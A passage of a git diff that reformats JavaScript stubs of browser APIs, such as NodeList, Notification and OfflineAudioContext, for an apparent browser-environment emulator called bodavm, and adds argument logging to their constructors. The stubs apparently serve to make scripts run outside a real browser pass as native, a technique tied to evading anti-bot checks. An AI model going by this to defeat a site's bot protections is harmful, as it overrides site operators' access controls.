pointerBeforeReferenceNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "pointerBeforeReferenceNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "whatToShow", { + configurable: true, + enumerable: true, + get: function whatToShow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "whatToShow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "filter", { + configurable: true, + enumerable: true, + get: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "filter_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "detach", { + configurable: true, + enumerable: true, + writable: true, + value: function detach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "detach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "nextNode", { + configurable: true, + enumerable: true, + writable: true, + value: function nextNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "nextNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "previousNode", { + configurable: true, + enumerable: true, + writable: true, + value: function previousNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "previousNode", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NodeList.js b/env_xbb_lastest_jsdom/env/NodeList.js index abd11b4b..386316f0 100644 --- a/env_xbb_lastest_jsdom/env/NodeList.js +++ b/env_xbb_lastest_jsdom/env/NodeList.js @@ -1,9 +1,65 @@ -// NodeList对象 -bodavm.memory.globalobj['NodeList'] = function NodeList(){if (!(this instanceof NodeList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NodeList'], "NodeList"); -bodavm.toolsFunc.defineProperty('NodeList', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeList', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeList', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeList', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "item", arguments)}},'prototype'); +// NodeList对象 + +bodavm.memory.globalobj['NodeList'] = function NodeList() { + console.log_copy('NodeList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NodeList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NodeList'], "NodeList"); +bodavm.toolsFunc.defineProperty('NodeList', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "item", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Notification.js b/env_xbb_lastest_jsdom/env/Notification.js index b60de39a..c96bf9b9 100644 --- a/env_xbb_lastest_jsdom/env/Notification.js +++ b/env_xbb_lastest_jsdom/env/Notification.js @@ -1,28 +1,211 @@ -// Notification对象 -bodavm.memory.globalobj['Notification'] = function Notification(){if (!(this instanceof Notification)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Notification': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Notification'], "Notification"); -bodavm.memory.globalobj['Notification'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Notification'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Notification', "permission", {configurable:true, enumerable:true, get:function permission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "permission_get", arguments, 'default')}, set:undefined}); -bodavm.toolsFunc.defineProperty('Notification', "maxActions", {configurable:true, enumerable:true, get:function maxActions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "maxActions_get", arguments, 2)}, set:undefined}); -bodavm.toolsFunc.defineProperty('Notification', "requestPermission", {configurable:true, enumerable:true, writable:true, value:function requestPermission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "requestPermission", arguments)}}); -bodavm.toolsFunc.defineProperty('Notification', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "onshow", {configurable:true, enumerable:true, get:function onshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onshow_get", arguments)}, set:function onshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onshow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "title_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "dir", {configurable:true, enumerable:true, get:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "dir_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "lang", {configurable:true, enumerable:true, get:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "lang_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "body", {configurable:true, enumerable:true, get:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "body_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "tag", {configurable:true, enumerable:true, get:function tag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "tag_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "icon", {configurable:true, enumerable:true, get:function icon (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "icon_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "badge", {configurable:true, enumerable:true, get:function badge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "badge_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "vibrate", {configurable:true, enumerable:true, get:function vibrate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "vibrate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "renotify", {configurable:true, enumerable:true, get:function renotify (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "renotify_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "silent", {configurable:true, enumerable:true, get:function silent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "silent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "requireInteraction", {configurable:true, enumerable:true, get:function requireInteraction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "requireInteraction_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "actions", {configurable:true, enumerable:true, get:function actions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "actions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Notification', "image", {configurable:true, enumerable:true, get:function image (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "image_get", arguments)}, set:undefined},'prototype'); +// Notification对象 + +bodavm.memory.globalobj['Notification'] = function Notification() { + console.log_copy('Notification 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Notification)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Notification': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Notification'], "Notification"); +bodavm.memory.globalobj['Notification'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Notification'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Notification', "permission", { + configurable: true, + enumerable: true, + get: function permission() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "permission_get", arguments, 'default'); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('Notification', "maxActions", { + configurable: true, + enumerable: true, + get: function maxActions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "maxActions_get", arguments, 2); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('Notification', "requestPermission", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPermission() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].undefined, "Notification", "requestPermission", arguments); + } +}); +bodavm.toolsFunc.defineProperty('Notification', "onclick", { + configurable: true, + enumerable: true, + get: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclick_get", arguments); + }, + set: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "onshow", { + configurable: true, + enumerable: true, + get: function onshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onshow_get", arguments); + }, + set: function onshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onshow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "title_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "dir", { + configurable: true, + enumerable: true, + get: function dir() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "dir_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "lang", { + configurable: true, + enumerable: true, + get: function lang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "lang_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "body", { + configurable: true, + enumerable: true, + get: function body() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "body_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "tag", { + configurable: true, + enumerable: true, + get: function tag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "tag_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "icon", { + configurable: true, + enumerable: true, + get: function icon() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "icon_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "badge", { + configurable: true, + enumerable: true, + get: function badge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "badge_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "vibrate", { + configurable: true, + enumerable: true, + get: function vibrate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "vibrate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "renotify", { + configurable: true, + enumerable: true, + get: function renotify() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "renotify_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "silent", { + configurable: true, + enumerable: true, + get: function silent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "silent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "requireInteraction", { + configurable: true, + enumerable: true, + get: function requireInteraction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "requireInteraction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "actions", { + configurable: true, + enumerable: true, + get: function actions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "actions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "image", { + configurable: true, + enumerable: true, + get: function image() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "image_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/OTPCredential.js b/env_xbb_lastest_jsdom/env/OTPCredential.js index ca95ce59..8f91abb0 100644 --- a/env_xbb_lastest_jsdom/env/OTPCredential.js +++ b/env_xbb_lastest_jsdom/env/OTPCredential.js @@ -1,6 +1,27 @@ -// OTPCredential对象 -bodavm.memory.globalobj['OTPCredential'] = function OTPCredential(){if (!(this instanceof OTPCredential)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OTPCredential'], "OTPCredential"); -bodavm.memory.globalobj['OTPCredential'].prototype.__proto__=bodavm.memory.globalobj['Credential'].prototype; -bodavm.memory.globalobj['OTPCredential'].__proto__=bodavm.memory.globalobj['Credential']; -bodavm.toolsFunc.defineProperty('OTPCredential', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OTPCredential'].prototype, "OTPCredential", "code_get", arguments)}, set:undefined},'prototype'); +// OTPCredential对象 + +bodavm.memory.globalobj['OTPCredential'] = function OTPCredential() { + console.log_copy('OTPCredential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OTPCredential)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OTPCredential'], "OTPCredential"); +bodavm.memory.globalobj['OTPCredential'].prototype.__proto__ = bodavm.memory.globalobj['Credential'].prototype; +bodavm.memory.globalobj['OTPCredential'].__proto__ = bodavm.memory.globalobj['Credential']; +bodavm.toolsFunc.defineProperty('OTPCredential', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OTPCredential'].prototype, "OTPCredential", "code_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/OfflineAudioCompletionEvent.js b/env_xbb_lastest_jsdom/env/OfflineAudioCompletionEvent.js index 1f8f6d78..55d2f021 100644 --- a/env_xbb_lastest_jsdom/env/OfflineAudioCompletionEvent.js +++ b/env_xbb_lastest_jsdom/env/OfflineAudioCompletionEvent.js @@ -1,6 +1,27 @@ -// OfflineAudioCompletionEvent对象 -bodavm.memory.globalobj['OfflineAudioCompletionEvent'] = function OfflineAudioCompletionEvent(){if (!(this instanceof OfflineAudioCompletionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OfflineAudioCompletionEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OfflineAudioCompletionEvent'], "OfflineAudioCompletionEvent"); -bodavm.memory.globalobj['OfflineAudioCompletionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['OfflineAudioCompletionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('OfflineAudioCompletionEvent', "renderedBuffer", {configurable:true, enumerable:true, get:function renderedBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioCompletionEvent'].prototype, "OfflineAudioCompletionEvent", "renderedBuffer_get", arguments)}, set:undefined},'prototype'); +// OfflineAudioCompletionEvent对象 + +bodavm.memory.globalobj['OfflineAudioCompletionEvent'] = function OfflineAudioCompletionEvent() { + console.log_copy('OfflineAudioCompletionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OfflineAudioCompletionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OfflineAudioCompletionEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OfflineAudioCompletionEvent'], "OfflineAudioCompletionEvent"); +bodavm.memory.globalobj['OfflineAudioCompletionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['OfflineAudioCompletionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('OfflineAudioCompletionEvent', "renderedBuffer", { + configurable: true, + enumerable: true, + get: function renderedBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioCompletionEvent'].prototype, "OfflineAudioCompletionEvent", "renderedBuffer_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/OfflineAudioContext.js b/env_xbb_lastest_jsdom/env/OfflineAudioContext.js index 84c5dbd4..cee8bb94 100644 --- a/env_xbb_lastest_jsdom/env/OfflineAudioContext.js +++ b/env_xbb_lastest_jsdom/env/OfflineAudioContext.js @@ -1,10 +1,61 @@ -// OfflineAudioContext对象 -bodavm.memory.globalobj['OfflineAudioContext'] = function OfflineAudioContext(){if (!(this instanceof OfflineAudioContext)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OfflineAudioContext': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OfflineAudioContext'], "OfflineAudioContext"); -bodavm.memory.globalobj['OfflineAudioContext'].prototype.__proto__=bodavm.memory.globalobj['BaseAudioContext'].prototype; -bodavm.memory.globalobj['OfflineAudioContext'].__proto__=bodavm.memory.globalobj['BaseAudioContext']; -bodavm.toolsFunc.defineProperty('OfflineAudioContext', "oncomplete", {configurable:true, enumerable:true, get:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "oncomplete_get", arguments)}, set:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "oncomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OfflineAudioContext', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OfflineAudioContext', "resume", {configurable:true, enumerable:true, writable:true, value:function resume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "resume", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OfflineAudioContext', "startRendering", {configurable:true, enumerable:true, writable:true, value:function startRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "startRendering", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OfflineAudioContext', "suspend", {configurable:true, enumerable:true, writable:true, value:function suspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "suspend", arguments)}},'prototype'); +// OfflineAudioContext对象 + +bodavm.memory.globalobj['OfflineAudioContext'] = function OfflineAudioContext() { + console.log_copy('OfflineAudioContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OfflineAudioContext)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OfflineAudioContext': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OfflineAudioContext'], "OfflineAudioContext"); +bodavm.memory.globalobj['OfflineAudioContext'].prototype.__proto__ = bodavm.memory.globalobj['BaseAudioContext'].prototype; +bodavm.memory.globalobj['OfflineAudioContext'].__proto__ = bodavm.memory.globalobj['BaseAudioContext']; +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "oncomplete", { + configurable: true, + enumerable: true, + get: function oncomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "oncomplete_get", arguments); + }, + set: function oncomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "oncomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "resume", { + configurable: true, + enumerable: true, + writable: true, + value: function resume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "resume", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "startRendering", { + configurable: true, + enumerable: true, + writable: true, + value: function startRendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "startRendering", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "suspend", { + configurable: true, + enumerable: true, + writable: true, + value: function suspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "suspend", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/OffscreenCanvas.js b/env_xbb_lastest_jsdom/env/OffscreenCanvas.js index 8c5a6d13..db7cdf57 100644 --- a/env_xbb_lastest_jsdom/env/OffscreenCanvas.js +++ b/env_xbb_lastest_jsdom/env/OffscreenCanvas.js @@ -1,12 +1,83 @@ -// OffscreenCanvas对象 -bodavm.memory.globalobj['OffscreenCanvas'] = function OffscreenCanvas(){if (!(this instanceof OffscreenCanvas)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OffscreenCanvas': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OffscreenCanvas'], 